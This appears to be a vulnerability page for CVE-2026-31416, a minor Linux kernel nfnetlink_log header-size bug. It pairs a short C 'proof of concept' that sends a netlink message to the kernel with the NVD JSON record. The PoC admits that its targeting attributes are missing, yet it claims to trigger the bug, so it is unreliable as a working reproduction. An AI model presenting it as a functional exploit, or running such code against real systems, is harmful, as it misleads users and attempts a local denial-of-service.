CVE-2026-31416

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> // PoC for CVE-2026-31416 // This code attempts to interact with nfnetlink_log to trigger the size calculation issue. // Requires root or appropriate capabilities to interact with Netfilter. int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; struct msghdr msg; // Create a Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("Socket creation failed"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); // Self PID if (bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)) < 0) { perror("Bind failed"); close(sock_fd); return -1; } memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel (0) dest_addr.nl_groups = 0; // Unicast // Allocate Netlink message buffer int payload_size = 1024; nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(payload_size)); if (!nlh) { perror("Malloc failed"); close(sock_fd); return -1; } memset(nlh, 0, NLMSG_SPACE(payload_size)); nlh->nlmsg_len = NLMSG_SPACE(payload_size); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; // In a real scenario, specific attributes would be set here to target nfnetlink_log strcpy(NLMSG_DATA(nlh), "CVE-2026-31416 Trigger Payload"); iov.iov_base = (void *)nlh; iov.iov_len = nlh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("Sending Netlink message to trigger CVE-2026-31416...\n"); sendmsg(sock_fd, &msg, 0); printf("Message sent. Check kernel logs for WARN splat.\n"); free(nlh); close(sock_fd); return 0; }

{"cve": {"id": "CVE-2026-31416", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-13T14:16:10.907", "lastModified": "2026-05-20T15:36:14.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nfnetlink_log: account for netlink header size\n\nThis is a followup to an old bug fix: NLMSG_DONE needs to account\nfor the netlink header size, not just the attribute size.\n\nThis can result in a WARN splat + drop of the netlink message,\nbut other than this there are no ill effects."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.10.61", "versionEndExcluding": "3.11", "matchCriteriaId": "8ABB7CF9-8D4E-413E-8EDC-DA5A95E13F5A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.12.34", "versionEndExcluding": "3.13", "matchCriteriaId": "18FF6293-6F8F-498F-8308-90E63A1F50C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.14.25", "versionEndExcluding": "3.15", "matchCriteriaId": "4CFF2573-7851-4AF4-957E-F311413FD9BB"}, {"vulnerable": true, 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"https://git.kernel.org/stable/c/6b419700e459fbf707ca1543b7c1b57a60fedb73", "source": "416baa ... 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